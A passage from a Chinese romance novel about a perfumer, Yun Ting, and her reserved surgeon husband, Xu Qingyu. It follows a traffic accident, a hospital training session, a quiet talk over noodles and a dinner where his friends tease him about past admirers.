捕捉空气中复杂的味道。 鼻尖先嗅到的是一股烟尘混杂着陈旧木屑的味道,随后是熟悉的油烟气息, 浓烈得可以掩盖一切。 但仔细分辨后,她发现,油烟中还夹杂一点香料的气息,像是粗糙的八角、胡椒, 还有廉价香水的甜腻,混杂着木炭未完全燃烧的焦香味。 她睁开眼,眼神发亮,向前走去,寻找气味的来源。 不远处的路边摊冒着腾腾热气,摊主穿着一件厚厚的棉服,袖口油腻,帽子下是一张饱经风霜的脸。 他手里握着一把木铲,正熟练地翻动铁板上的一块块糖心饼。那些饼外层被烤得金黄酥脆,边缘泛着焦糖的褐色。 冷空气中,这种甜腻的香味尤其突出,仿佛穿透了冬日的寒冷,带来一点点温暖的慰藉。 云听停在摊旁,目光定格在铁板上咕噜冒泡的果酱。 那是一种深红色的浆果酱,与焦糖的浓郁味道混合在一起,像一场奇妙的味觉碰撞。 “姑娘,要尝一个吗?”摊主见她盯着糖饼,笑着招呼。 云听点了点头。 摊主用油纸包好一块递给她。 她接过,纸上的温热从指尖传到心里,驱散些许寒意。 咬下一口,外层酥脆,内里甜软,酸与焦香交织,很好吃。 云听之所以会选择来这里,并不是兴起,而是因为她的高中前桌,平常沉默寡言、总是低头的男孩,就来自这里。 高中的教室总是嘈杂的,窗外蝉鸣喧嚣,窗内同学们嬉笑打闹。 云听的座位在最后一排,靠窗的位置。 她的前桌,是一个瘦小的男生,他从不主动与别人说话,总在努力让自己缩小到别人忽略的地步。 她和他不熟,一次偶然的对话云听知道,他家就在这片城市边缘的破败街区,这个充满廉价油烟和凌乱巷道的地方。 男生毕业后,便再也没有消息,像风一样消失在她的记忆中,只留下一片模糊的轮廓。 云听有时会想,如果那个男孩还在这里,他是否依然用带着回避的眼神看人?是否依然因为自卑而不敢抬头? * 云听在街道晃荡了两个小时,直到一声刺耳的刹车声猛然打破街区的宁静。 云听目睹一辆老旧的小货车失控冲向路边,重重撞上了一辆迎面而来的电动车。 时间像被拉长了一般,她看到骑电动车的男子被抛出几米远,摔倒在地,鲜血迅速染红了身下的积雪。 街道上的行人愣住了,有人捂住嘴,有人远远观望,却没有人敢上前。 云听的心猛然一跳,本能地跑了过去。 她蹲在男子身旁,声音微颤:“先生,你还好吗?” 男子虚弱地睁开眼,血从额头滑落,染红了他的衣领。他发不出声音,只能抬手示意。 云听迅速掏出手机,拨打急救电话:“XXXX,发生了一起交通事故,有人受伤,情况严重,需要立即送医!” 很快,救护车的鸣笛声划破街区。医护人员赶到后,云听没有迟疑,跟着一起将伤者送到了附近的小医院。 急诊室外,她坐在走廊的长椅上,目光落在手掌上还未擦干净的血迹上。她的袖口和衣摆也被染上了深深浅浅的红色,触目惊心。 走廊里只有零星的脚步声,空气中充满了消毒水的味道,并不好闻。这时,一阵稳健的脚步声从走廊另一端传来,伴随低沉的声音:“这边的病人情况怎么样?王医生马上过来。” 云听听到熟悉的声音,抬起头,愣住了。 出现在她面前的男人高而挺拔,穿着一身整洁的白大褂。 是徐清聿。 “你怎么在这里?”云听脱口而出。 徐清聿同样意外,目光在她脸上驻足,又落到她沾满血迹的双手,语气含不易察觉的紧张和担忧:“你受伤了?” “不是我的血,是……我刚送了一个伤者过来。”云听解释。 徐清聿:“去洗手,血迹不要留太久。” “嗯,好的。” 洗手间的水声哗哗作响,水流冲刷掉云听手上的血 迹,白瓷的水池中泛出一抹淡红。 回到走廊时,徐清聿已经在等她。 “徐清聿…你为什么会在这里?”云听再次问。 “医院安排的。市医院在和这里的小医院做对口支援,我被派来负责三天的临床技能培训。” 徐清聿稍稍顿了顿,又补充一句:“这里的医疗资源薄弱,医生们的专业水平也需要提升。上次支援团队回来后,提到了心脏急诊手术的问题,所以我过来负责这一块。” 云听心不在焉回应:“好,好的。” 徐清聿上下打量“车上有一套干净的衣服,你先去换上。” 云听看了看自己,血渍已深深染入大衣的纤维,走在路上太引人注目。她点头,跟着徐清聿走向停车场。 车停在停车场的角落,黑色车身覆着一层薄薄的霜。 徐清聿拉开后备箱,拿出一件黑色的大衣递给她,“进去,换上这个。” “好的。” 徐清聿的大衣很宽大,穿在她身上稍明显不合身,有一种莫名的滑稽感。 云听车里出来,还没来得及将衣领整理好,听到徐清聿问:“你来这里,为什么不告诉我?” 云听失语。 她认为她和徐清聿的婚姻还没到需要互相报备行程的程度。 她来这里,没有告诉徐清聿。 同样,徐清聿来这里,她也不知情。 她不是不想说,只是以为他不感兴趣。 徐清聿对她的生活并不关心。 “我是来找灵感的。”云听解释,“这里的人和环境,和我以往的生活很不一样。对我来说,或许能找到一些有用的东西。” 徐清聿听后,静默须臾:“以后不要一个人过来。去哪儿,提前告诉我。” 云听抬眸直视他,反问道:“那你呢?你也不交代你的事。” 闻言,徐清聿眼神松动,他低声道:“抱歉,是我忽略了,我以后会和你说。” 风吹过,拂起云听未整理好的衣领,她伸手去拉,徐清聿先一步抬起手,动作迅速而自然地帮她把衣领拉好。 “谢谢。” “刚才那场车祸,有吓到吗?” “没有。那时候顾不上害怕,只想着应该赶紧报警和帮忙。” “下次遇到这种事,不要逞强,安全最重要。” “嗯,我会的。” “以后遇到什么事,记得第一时间告诉我。” “我,我也会的。” 徐清聿站在车旁,背对寒风,神情冷峻,手握成了拳,松了又紧。 他这模样让云听顿感反常。微皱的眉头和无意识的动作,告诉云听,徐清聿还有话要说 他在担心自己。 她吸了口气,开口试探道:“徐清聿,我没事,你不用这么担心。” 徐清聿深深地凝视她,眼神中复杂的情绪让云听猝不及防地心头一震。 片刻后,他意识到自己的失态,迅速收敛神色,“我不放心你。” “徐清聿…不用担心我。” 徐清聿是医生,把生死看得无比平常,但也正因为如此,或许他的心比谁都柔软。 对他而言,每一条生命都意味着责任,而刚才她身上的血迹,大概刺中了他心底某根敏感的弦。 徐清聿看了一眼腕上的手表,脸上浮现思索的神色:“你现在要回去吗?还是……和我一起回去?我上午还有个小培训,下午没安排。” 云听想了下,“我和你一起吧。” * 平日不爱言语的徐清聿,此刻正对一群实习医生和支援团队的年轻医生进行细致地讲解。 屏幕上是刚结束的一场心外手术实时录像,画面中心脏跳动的细微纹理清晰可见。 “患者是先天性心脏病合并冠脉异常,这种情况下,不仅需要修复心脏间隔,还要重建冠状动脉的血流路径。”他没有多余的情绪,但字字铿锵。 徐清聿拿起激光笔,指向屏幕上的某个关键节点,“这一部分的缝合,如果针脚稍微偏离毫米级,术后可能会导致血流受阻,甚至心肌缺血。记住,容错率为零。” 年轻医生们一边点头一边忙着记笔记,偶尔有人提出问题,他也不避讳。 虽不苟言笑,但只要是关于手术的问题,他回答起来十分详细。 “如果患者术中出现血压骤降,您选择优先处理心室撕裂还是冠脉断裂?”一名实习医生问。 “这种情况下,不是选择问题,而是分秒必争的问题。两者处理顺序取决于患者生命体征的稳定性。如果你不能迅速判断,术中团队配合就会被拖慢,后果不言而喻。” 徐清聿的话不多,却直击要害,字里行间没有一丝拖沓。只有在涉及工作时,他才展现出另一面:严谨、果断、令人敬畏的专注。 “还有一个重点。”他稍做停顿,抬手点向屏幕上的某一处血管缝合位置,“术后评估时,要特别注意这个区域的吻合口,别只看影像,必要时用手触诊,感知血管壁的张力。这不是经验问题,是责任。” 云听站在走廊,透过透明的玻璃窗看着里面的情景。 “这是冠脉旁路移植手术中的关键步骤,吻合口的角度决定了血流的通畅性。哪怕是最微小的偏差,都会带来术后并发症的风险。记住,心脏手术,容不得半点马虎。” 云听从未见过徐清聿说这么多话。此刻,他在台上条理清晰,将复杂的医学知识一点点拆解成浅显的语言,耐心又全面。 “患者术后心功能的恢复,不仅取决于手术的成功率,还要看术中对心肌损伤的控制程度。你们要记住,心外科不是单纯的技术活,它需要你们对生命抱有足够的尊重和敬畏。” 外面还聚集了不少实习的年轻女护士,给寂静的走廊增添了一份青春的雀跃和小心思的悸动。 “哇,那个就是徐医生吧?真人比传闻还帅!” “他的侧脸也太完美了吧,像是从画里走出来的一样。” “你们注意到没有,他的声音真的很好听,低低的特别有安全感。” “哎,真羡慕那些在里面听他讲课的医生,要是能被他指导一下就好了!” “好像和徐医生谈恋爱,绝世大帅哥。” “你就别想了,没看到他结婚了吗?” …… 40分钟后,结束培训。 徐清聿离开,留下一句:“别怕问问题,但你们问的每一个问题,都应该基于患者的需要,而不是你们自己的好奇。” 他出来后,女生们目光炯炯地追随他的一举一动。 徐清聿全然不觉,穿过人群,径直朝云听走来:“累了吗?” 云听抬头:“没有。” “等我一下。” “好,不急。” … 云听回到家,立刻走向浴室。 车祸中的伤者已经得到了及时的救治,但血液的残留的气息总归让人不舒服。 她迅速地脱下衣服,准备好好清洗一番。 正当她用热水冲洗着身上的血腥味时,徐清聿敲门:“云听,可以进来吗?” 云听关掉花洒,想到自己此刻的状态,不太方便让他进来。 她也没什么心情做。爱。 她问:“徐清聿…现在可以不做吗?” 未曾想到,徐清聿听到她的话后并没有离开。 他走到门口,轻轻一推,门被直接推开了。 徐清聿气笑:“你不想做什么?” 云听不知如何回应,站在浴室的角落,心跳砰砰砰加速。 徐清聿抓住她的手腕。 细致入微地检查每一寸,指尖摩擦着她的皮肤,动作异常轻柔。 直到确定她没有任何明 显的外伤。 这才松了一口气。 徐清聿检查完云听的手腕,又温柔地抬起她的胳膊,目光在她的肩膀、上臂,她裸露的脖颈附近划过,确保没有其他的创伤。 等他彻底确认她的身体没有受到伤害,他才放开了她的手,“你没事就好。” 云听看徐清聿转身离开,才意识到自己刚刚的反应可能是多余的。 他并没有如她所想的想要和她做。爱,只是出于对她的关心,才如此仔细地检查她的身体。 云听站在热气腾腾的浴室里,捂着火烧一般的脸。 好尴尬。 * 徐清聿为两人做了一碗简单的面。 他把冒着热气的面端到桌前,坐在云听对面。 “谢谢。” 徐清聿问:“你为什么会去那里?” 云听左手轻柔地给Zephyr顺毛,右手夹起面吹了一口:“我……进了调香大赛的决赛,需要设计一款名为‘希望之香’的香水。” “希望?” 云听点头,她觉得徐清聿对这个话题并没有那么多兴趣,但她还是忍不住继续说道:“我知道‘希望’是个抽象的东西,但我总觉得,它应该是能够触动人心的力量。就像是每个人在困境中寻找的一点光,哪怕那只是一点微弱的亮光。” 她顿了顿,想到徐清聿是医生,或许他能给她一些不同的见解。问道:“你是医生,你觉得‘希望之香’能代表什么呢?” 徐清聿想了下,说:“希望是病人在绝望中依然愿意接受治疗,是每一场手术背后坚持,哪怕你无法看到结果。” “那如果香水能代表一种‘希望’的力量,你觉得它该是什么样的气味呢?” 徐清聿回答两个字:“空气。” 云听不禁笑了笑,“我明白了,谢谢你。” 这是她第一次和徐清聿提及她的工作。 孟妍曾告诉她,徐清聿排斥“调香师”这个职业,但现在看来,他未必讨厌。 但她不确定。 云听搅拌手里的面条,问:“徐清聿…你是不是讨厌调香师?” 徐清聿掀了掀眼皮:“我从未说过不喜欢。” “好吧。” 云听仍存很多未解的疑问。 但今天她和徐清聿的进展已经足够大了,他们不再是前几天局限于身体的接触与关系,他们的沟通已经超越了身体上的界限,开始走向心灵的交流。 她选择不问。 每一个人都有自己的过去,自己的经历。 徐清聿不主动谈论过去,她也不想去逼问他。 吃着吃着,徐清聿放下筷子,突然冒出一句:“你从来没有送过我香水。” 云听诧异。 的确,她从来没有送过他香水。 身边的朋友、家人,关系稍近的合作伙伴,她都会挑选或者专门调制香水送给他们,作为她表达情感的方式。 唯独徐清聿没有。 云听不止一次想过要送他香水,每一年都会调制,但每一年都没有送出去。 她说:“不是没想过,只是……好像总是不合适。” 徐清聿并没有急着说什么,安静地等着她继续说下去。 “可能是因为我不了解你。香水是很私密的东西,我一直觉得,只有真正理解一个人,才能调制出属于他的香味。可我……好像一直不够了解你。” “还有……我总是想送你最完美的香水。” 徐清聿心里异样的感觉更加清晰。 云听的这番话,让他第一次认真思考起自己在她心中的位置。 此刻,他甚至感到有些不知所措,因为这样的情感,对他来说既陌生又深刻。 “我并不是完美的人。”徐清聿别开目光,咳嗽一声,不想让云听察觉到自己眼底的深意,“不要对自己太苛刻。” “不是苛刻。”云听摇了摇头,“我只是觉得……你是特别的,所以,应该要有一瓶属于你的香水。那瓶香水必须能表达你独有的东西,必须足够好。” 云听只知道,喜欢一个人,就会想要把最好的东西送给他,希望他能喜欢。 那种心情,就像是一颗满怀期待的种子,发芽后不停地向上生长,拼命想要触碰阳光。 她想起自己那些未完成的香水配方,想起每一次失败后重新调整的执念。 或许,这种执念的根源并不仅仅是对“完美”的追求,而是因为她太在意了,太想为徐清聿献上独一无二的作品。 与此同时,她心里又不免闪过一个念头:徐清聿会不会也对另一个人怀有这样的心情? 唐瑶这个名字,就像一缕风,偶尔划过她的记忆,让她心底泛起波澜。 云听无法触及徐清聿的过去,她不知道他和唐老师的感情曾到何种程度,也不知道徐清聿在那段感情里是否也想过将世界上最美好的东西送给对方。 她甚至不清楚,唐老师是否得到他为数不多的温柔和耐心。 徐清聿是很好的人。 不喜欢她,但他仍然尽到作为丈夫的责任。 “云听,不是你不了解我。”徐清聿沉声开口,“是我不擅长……让别人了解我。” “以前,我觉得没必要说太多。可现在……如果你想知道什么,可以问我。” “或者,慢慢了解也行。时间还多,不用急。” “你……”云听张了张嘴。 徐清聿突如其来的坦率让她手足无措,怕这只是他一时的敷衍,“你刚才的话……是真的?” “以前是我的问题。”徐清聿坦诚,“但现在,我想改变。我想试着了解你,也想让你了解我。” “但是云听,我希望你不会因为了解我而远离我。” “你……不用担心。”云听语气认真,“了解一个人,不是为了远离,而是为了靠近。至少,我是这样想的。” 云听的心揪了一下。 远离徐清聿,是不可能的。 视线相触,谁也没有移开目光。 云听挺直脊背,没有退缩,也没有躲闪。 四目相对时,眼中有千言万语未及诉说,又仿佛所有的话语都已不必言明。 第28章 第二十八章 最想在一起的男人 周阿姨提着一袋新鲜蔬菜, 哼着小曲儿推开门。 心里琢磨着今天的晚餐:“炖排骨汤,徐先生喜欢清淡的,小太太的多放点胡椒粉。” 进门时, 看见徐清聿和云听两人正一前一后站在客厅。 云听身穿米白色的毛呢大衣,徐清聿站在她身后,手里拿着她的围巾,低头亲昵地将给她系上。 周阿姨合上嘴, 小心翼翼关门,生怕打扰这美好的一幕。 平日里这对夫妻相敬如宾,小太太一口一个“谢谢”,徐先生一口一个“抱歉”,让她觉得两人的关系淡淡的, 比较疏远。 徐先生话少,惜字如金,小太太也是安静的人。 此刻,这画面让周阿姨觉得异常温馨。 “你们今天都在家啊。”周阿姨看两人没有后续进展,提菜走近。 云听抬头, 露出礼貌的笑容:“下午没事,就没出门。” “哎哟,真难得啊!平时你们都忙得见不着人影。”周阿姨笑呵呵地说,“看你们这样, 关系挺好的嘛。” 云听不好意思地挠了挠头,徐清聿则只是挑了下眉, 没有多说什么。 “这年头,夫妻在一起多不容易啊。”周阿姨感慨了一句,接着笑着补充道,“年轻人嘛, 像你们这样,平平淡淡其实才是真幸福。” 云听不自在笑了笑:“嗯。阿姨今晚晚餐不用准备了,我们出去吃。” “好的。”周阿姨笑得意味深长,又说了几句家长里短的话后,提着菜往厨房走去。 走了几步,她忍不住回头看,心里感叹:还真是般配的一对儿啊,女娃和男娃长得可真漂亮。 两个小时前。 徐清聿坐在书 桌前,他正在准备明天的培训资料。 手机震动,来电显示是:Kai。 停下手中的笔,徐清聿问:“什么事?” 视频接通的瞬间,屏幕上出现一张金发碧眼的笑脸,笑容灿烂得像盛夏的阳光。 Kai的中文一如既往地笨拙,可满含热情:“Zeph!我们…到、回到了国!” 徐清聿眉头舒展开,但冰冷的语调未变:“什么时候。” “三时。”Kai努力挤出一个“完美”的中文词语。他得意地抬了抬下巴,对自己的中文水准颇为自豪。 屏幕忽然分裂成两半,另一张脸出现在画面中。一张戴着细框眼镜的面孔,线条柔和而懒散,眼神有几分狡黠的玩味。 Elliot,徐清聿的另一位好友,他此刻靠在沙发上,手里晃着一杯咖啡,嘴角上扬:“Zeph,好久不见啊。” “嗯。”徐清聿不习惯被打扰工作,尤其是被这两个“不靠谱”的朋友。 Elliot懒洋洋地开口:“没什么大事,我们已经在国内了,就是通知你下午我们到南海,让你给我们接风洗尘。毕竟一年多没见面了,你不会打算推脱吧?” Kai立刻附和,语速飞快:“对!结风,吸尘!” 他在“吸尘”两个字上咬得格外用力,一副浓重的外国口音。 “晚上想吃什么?”徐清聿没有多问,直接切入正题。 他十分耐心,对这两个好友有所迁就。 “火锅!”Kai毫不犹豫地回答,眼睛闪闪发光。 “拜托,Kai,你真的能吃辣?”Elliot推了推眼镜,嘲讽道。 “Of course!” Elliot嫌弃,转向屏幕中的徐清聿,换上另一副面孔:“Zeph,还是你安排吧。只要别让我们吃什么奇怪的东西就行。” 徐清聿听他们在争论,没有加入,等两人吵够了开口:“地址发我,下午我来接。” Elliot:“不用接。不过晚上可别只你一个人来,把嫂子也带上。我们还没见过呢。” Elliot:“结婚低调,现在可不能低调。” Kai:“对!” 徐清聿沉默霎时,捏了下眉骨:“我问问她,没事我先挂了。” * Kai的家族在M国经营一家历史悠久的酒庄。 他的父母是地地道道的葡萄酒爱好者,从种植到酿造都亲力亲为。 Kai从小耳濡目染,对红酒行业有天然的敏感度。大学毕业后,他正式接手家族的酒庄,但与父母不同,他更注重品牌推广和现代化运营方式。 Kai的性格热情又外向,尤其对中国文化有浓厚的兴趣,这也是为什么他努力学习中文。 虽然他的中文水平让人听了直想笑,但他从不介意,总是满怀热情地开口交流。 他与徐清聿相识于国外的一次学术交流活动,当时Kai为了推广自家的红酒参加了一个医学界的慈善晚宴,而徐清聿作为嘉宾出席。 两人因一次偶然的对话熟络起来,Kai对徐清聿的冷淡性格颇感兴趣,主动与他建立联系。 而Elliot的家族从事珠宝行业,规模不小,在国内外都有很高的知名度。但Elliot从小就对珠宝没什么兴趣,总觉得那是“死物”,也觉得家族的经营模式有些过时。 他厌倦家族的烦琐事务,也不愿过一眼就能看到尽头的人生轨迹。 大学毕业后,他不愿意接手家族企业,独自一人跑去了国外,选择了一份自由职业的生活。他做过翻译,也尝试过文创策划,但始终没有找到真正想做的事情。 Elliot与徐清聿是高中同学,性格上的鲜明对比反而让两人形成一种微妙的平衡。 Elliot随性而为,话中带刺却又点到即止;徐清聿则冷淡理智,不轻易被激怒。两人从彼此不理解到逐渐欣赏,最终成为至交好友。 * 徐清聿抬手揉了揉太阳穴,指腹按压跳动的神经,缓解不适,然后用力一捏肩膀。 长时间的伏案工作,肩膀像被压了一块无形的重物。 他走出房间,敲响另一扇紧闭的门。 云听说:“进来吧。” 这是独属于云听的小工作室,婚前她已经将所有的调香工具和原料都搬了过来,不过徐清聿还是第一次踏入这里。 房间不大,布置得井然有序。 靠窗的位置放了一张工作台,上面摆满透明的试管、精致的玻璃瓶,还有几张散落的调香笔记,字体娟秀。 空气充斥一股复杂的香气,有花香、果香,也夹杂着些许木质的沉稳味道,层层叠叠,又意外和谐。 徐清聿打量四周,目光停在角落的一个小书架上,上面整整齐齐堆满各类关于调香的书籍,有一些是泛黄的老旧手稿,看得出它们被珍藏已久。 墙壁上的挂画是一幅香料地图,标注世界各地不同香料的产地和特点。 徐清聿靠在门框旁,视线最终停滞在云听身上。 此刻她正专注地调试一瓶香料,手指握住玻璃滴管,动作轻缓精准。 神色几分严肃,褪去了平日里温润柔和,反倒平添了一种别样的韵味,令人不禁为之心动。 徐清聿没有打扰她的工作,而是将她的一举一动收入敛眸。 云听的发型梳得干脆利落,低马尾将额头和脸颊完全露了出来,姣好的脸庞清晰而明丽,眉宇间的专注让她更有一种特别的吸引力。 灯光打在她的侧脸上,映出一圈柔和的轮廓,细长的睫毛抖动,像两只振翅的蝴蝶。 徐清聿从未涉足过调香的领域,对调香的具体过程一无所知,但现在他好像走近了一个与他截然不同却深具魅力的世界。 云听调配完手中的最后一滴香精,将试管小心地放回架子上,转身时发现徐清聿在门口站了很久,黑眸深邃,一动不动地看着她。 她略感意外,平复呼吸后轻声问:“徐清聿…有什么事吗?” 徐清聿开门见山:“我两个朋友刚回国,晚上一起吃饭,你要去吗?” “啊?” 实际上,徐清聿不太想让三人见面。 倒不是因为云听不好,只是他那两位好友实在不太靠谱。 两人说话肆无忌惮,行事风格也是随性而为,常让人哭笑不得。面对外人,他们从来不设防,言辞往往毫无遮拦。 徐清聿心里明白,这种场面对云听来说,未必轻松。 他了解云听的性子,柔和沉静,虽谈不上胆怯,却也未必能游刃有余地应对那两位的“率真”。 可他也知道,云听是他的妻子。既然当初说过要“互相了解”,就该履行这份承诺。 而带她认识自己的朋友,无疑是他向她迈出的第一步。 沉默片刻后,他语气淡了些,补充道:“如果你觉得麻烦,也可以不用去。” 听到这话,云听眼中闪过一抹明显的意外。 她低垂眼睑,将情绪尽数掩藏,唇边扬起一抹浅浅的弧度:“好啊,我去。” 徐清聿带她见朋友,这意味着什么? 意味着他开始接纳她,让她一步步走进他的世界。 徐清聿颔首:“那准备一下,我们一起出发。” 云听站在镜子前收拾一番,简单化一个淡妆,唇上点了一抹浅色的豆沙。 毕竟要见徐清聿的朋友,不能太过随意。 穿上大衣准备出门时,徐清聿提醒道:“外面冷,戴条围巾。” “好,那你等我一下。” 云听从衣帽架上抽出一条米白色的羊毛围巾,搭在脖子上。 怕徐清聿等久了不耐烦,她脚步匆匆地走出房间,手上乱系着围巾。 徐清聿看到,低叹一声:“别动,我来。” 说完,他伸手接过围巾,低头替她仔细绕了一圈,再在她脖颈前系了一个平整的结。 云听愣在原地,被他的动作惊得一时失神,目光紧紧锁在他身上,片刻未移。 “好了。”半分钟后,他退开一步,撇开视线,声音平静如水,“不着急。” 什么奇怪的戴法,好丑。 僵持几秒,云听谢过,对正在打扫的周阿姨道:“阿姨,麻烦你照顾好Zephyr。” 周阿姨应:“放心,小太太。” 徐清聿动了动 唇,欲言又止。 在他转身时,云听飞速整理好围巾。 * 车子停在一间装潢考究的高档餐厅外,云听抬头看面前欧式风格的建筑:“不是说去吃火锅吗?” 徐清聿解开安全带:“改了。” “好吧。”云听默默下车。 进去后,她第一眼就看见坐在靠窗位上的两个人。即便是在这样讲究的环境里,他们仍十分醒目。 两个人的气质截然不同,但同样令人过目难忘。右边那位是个金发碧眼的男人,五官立体深邃,有一种混不吝的洒脱。 看到他们进门,他露出灿烂的笑容,挥手招呼:“嘿!终于来了!” 左边那人五官清秀温润,是标准的亚洲人长相。 云听心里立刻有了判断。 这两人,应该是徐清聿在国外认识的朋友。 徐清聿领她走到桌前,金发男人笑着站起身,伸出手对云听说了句略显生硬的中文:“你好,我叫Kai,Cyrus的朋友。” 云听伸手同他握了握,礼貌地点头:“你好,云听,我是他……”话到嘴边,突然有些卡住,最终补上一句:“我是他妻子。” Kai笑得天真烂漫,用英文说:“原来你就是Cyrus藏得这么严实的宝藏啊。云,你很美,我很喜欢你。” 云听英语很好,被他的直白弄得脸颊微红,下意识望向徐清聿。 徐清聿警告,睨他:“别乱说。” 另一位华裔男人也站起身,声线温和:“我是Elliot,很高兴见到你。”他的普通话听起来没有Kai那么蹩脚,但有一点不易察觉的异国腔调,像不太纯正的印度口音。 云听微笑回应,心里暗自感叹。 徐清聿的朋友竟然也都是这般出挑的人物。光是看外表,恐怕不管在哪,都是能让人侧目的存在。 落座后,云听发现桌上已经有了几道精致的开胃菜,显然是提前点好的。 Kai半开玩笑地抱怨:“云,本来我是想尝尝中式火锅的,结果Cyrus临时改了地方,说怕你吃不习惯。” 云听:“啊?” 怪不得徐清聿在等红绿灯的间隙,回消息。 可是她能吃火锅。 Elliot看出她的疑惑:“嫂子,你别误会,他这么做不是怕你吃不惯,是怕Kai吃辣到叫天喊地,丢了我们华人的脸。” 一句话惹得云听忍俊不禁,Kai则夸张地做了个投降的手势:“行吧,行吧,这顿就算是迁就我了。” 服务员将一道道菜肴呈上餐桌。 Kai从随身带来的酒袋中取出两瓶红酒,放在桌上:“今晚带来点特别的——我家酒庄今年新酿的。Cyrus,你得尝尝,云也一起来。” 他说完,拿起开瓶器,麻利地打开酒瓶,酒液倒入醒酒器时发出低沉的声响,红酒浓郁的果香顿时充斥云听的鼻腔。 云听一听到要喝酒,笑容一僵,但很快调整过来,不好意思道:“我其实很久没喝酒了,怕尝不出好坏。” Kai摆手大笑:“没关系,不需要品酒师的水准,只要告诉我喜不喜欢就行。” Elliot夹起一道菜,补充:“这家伙难得这么认真,你就陪他喝一口吧。否则他一晚上都得念叨这事。” 云听无奈,转头寻求徐清聿的帮助。 : 徐清聿没有要阻止的意思:“可以小尝。” 云听咬了咬唇,心里有些纠结。她曾经发誓再也不喝酒,她给自己立下规矩,但眼下似乎难以拒绝。 很快,Kai将一只酒杯放到她面前,晶莹的酒液在灯光下泛着诱人的深红色泽,“来吧,就一口,尝尝味道。” 云听指尖收紧,端起酒杯,稍微地抿了一口。 红酒滑入口中,柔和的果香和细腻的味道立刻在舌尖绽开。 她一怔,这酒比她想象中要好,既不刺鼻也不烈,有点儿甜。 “怎么样?”Kai期待地看着她。 云听放下酒杯,回味道:“很醇厚,果香很好闻。” “对吧?”Kai挑眉,嘚瑟道,“我就知道这酒对女士来说很友好!Cyrus,你倒是说句话,这可是你老婆的评价。” 徐清聿:“她喜欢就好。” Kai兴致盎然,连忙给她又倒一点:“云,再来点。这酒配这道松露牛肉,绝了!” “谢谢。” 云听原以为徐清聿的朋友会和他一样沉默寡言,或者至少是沉稳有礼的类型。 但餐桌上的画风彻底打破了她的预期。 两个话痨。 “嘿,我这叫热爱生活!”Kai举起酒杯,朝Elliot晃了晃,“再说了,云不觉得我的酒好喝吗?” 云听正准备接话,Kai却又自顾自地转向徐清聿:“Cyrus,你怎么这么安静?” 徐清聿放下酒杯:“你太吵了。” Kai不放过他,调侃:“Cyrus,你这张脸就是我们饭局的装饰!要是你多说两句,云估计早就被你迷倒了!” Elliot翻白眼:“迷倒?Kai,人家早就嫁给他了好不好,哪需要再迷倒?” 云听安静地听着,身边的徐清聿对两人的聒噪完全免疫。 全程Kai说英文,其他三人讲中文,好在都能理解。 也是一段挺抽象的聊天。 “云,你觉得呢?”Kai用他的“半吊子”中文发问,“我们…吵,你喜欢…不吗?” 云听揣测他的意思,回:“不会,我觉得挺有趣的。你们的性格和我想象得不太一样。” “哦?”Elliot笑意盈盈,“嫂子以为我们是什么样子?” “和徐清聿一样吧。” “和他一样?”Kai夸张地指了指徐清聿,“我的天,嫂子,你这是在说我冷漠又无趣吗?” Elliot差点喷出一口酒,大笑道:“Kai,你还冷漠?嫂子说的是Cyrus,你没听清吗?冷漠、话少、还有点吓人,不是你。” 云听:“……” 两人的理解能力半斤八两。 Kai耸肩,装作伤心的模样,揩了一把不存在的眼泪:“Fine, I get it. Cyrus is the mysterious one. I‘m just the friendly foreigner who brings wine.(好吧,我明白了。Cyrus是那个神秘的人,我不过是那个带着酒来的友善外国人)” 徐清聿忍耐已到极限,冷脸警告:“If you keep arguing, I can ask the waiter to take the wine away.(如果你继续吵,我可以让服务员把酒收走。)” 他的发音自带一股地道的美式腔调,每一个英文单词都如同琴弦上的音符,低沉而富有磁性。 云听深切体会到什么叫耳朵怀孕,忍不住偷瞄了他一眼。 Kai毫无惧色,笑得更加放肆,还朝云听挤了挤眼睛:“云,快管管他。” 云听笑了笑,“不敢。” “云,你知道吗?”Kai叉起一块羊排,慢条斯理地切开,“这位在国外那会儿,可是响当当的‘传奇’,连媒体都给他冠上了个称号,叫什么来着?” “‘最想在一起的男人’。” 云听手一抖,酒杯没拿稳,红色的液体在杯中摇晃,差点儿溢出,幸好她及时反应过来,急忙扶住酒杯,才避免一场尴尬。 徐清聿表情未变,置若罔闻,仍旧优雅地将一小块牛肉送进口中,细嚼慢咽后才放下刀叉,淡淡地瞥了瞥Kai:“好 好吃饭。” Kai被这四个字点燃兴致,放下刀叉,双手一摊,笑得一脸夸张:“你不知道,那时候你每次上杂志、被采访,评论区都是什么样子。全是清一色的‘好想嫁’、‘嫁不成睡一晚也行’,甚至还有人专门开帖分析你喜欢什么类型的女人!” Elliot低头抿了一口酒,看热闹不嫌事大补充道:“医院里喜欢他的年轻护士大概占了半壁江山吧。连排班都有人私下争着抢着,只为了能多看他几眼。” 徐清聿耐心消磨殆尽,打断两人:“够了。以前的事我没有兴趣回忆。” Kai一身反骨,偏头看着他,不服气:“没有兴趣?可惜人家对你很感兴趣啊!还记得年会那次吗?那个金发护士,叫什么来着?丽莎?” Elliot接过话茬:“她那次可是豁出去了,醉得不省人事,跑到你面前表白,说只要你点头,她立刻嫁给你。” “结果呢?Cyrus一点都不怜香惜玉。” “那姑娘当场哭着跑开了,后来医院都传疯了,说他冷血无情。” 两人继续兴致勃勃谈论徐清聿在国外的风采,话题围绕他被追求的情况展开。 云听很清楚徐清聿的魅力,但每次听到别人提起他的往事,心中不知名的嫉妒感和不安感便会悄悄滋生。 这种情绪,她不敢正视,因为她不知道自己到底在在乎什么,是什么让她如此忐忑。 她没有勇气坦承隐藏在内心深处的情绪,更没有足够的自信去面对他的过去。 徐清聿的过去她做不到不在意,只是她没有立场问。 “而且,”Kai笑容猥琐,“最离谱的一天,居然有24个人来表白,差不多每一小时都会被人表白,有两个是男人。” 云听放下酒杯,眸光迷离。她没有说话,心中掀起波澜。 好半天,她闷声道:“那是因为……他当时是有女朋友吧。” 空气死气沉沉,如同一池死水,没有波动。 三人目光齐刷刷地聚焦在云听身上。 云听抬起头,视线在半空与徐清聿相撞。 他的眼睛里,有不易察觉的情绪在闪烁。 那是一种奇怪的、混合了几分困惑与探究的目光。 心猛然一沉。 她赶紧低下头,羞愧和懊悔交织在心头,涌上一阵难以言表的情绪,语无伦次地解释道:“我……我只是觉得……我不知道……” Elliot大笑出声:“哈哈,你看看,Cyrus,到底是你太冷静了,害得你老婆都误会了。你有女朋友?你哪儿来的女朋友,活得比和尚还清心寡欲。多少人试图接近你,你一个都没看上,结果现在却被问是不是有女朋友,嫂子你误会了呀!” 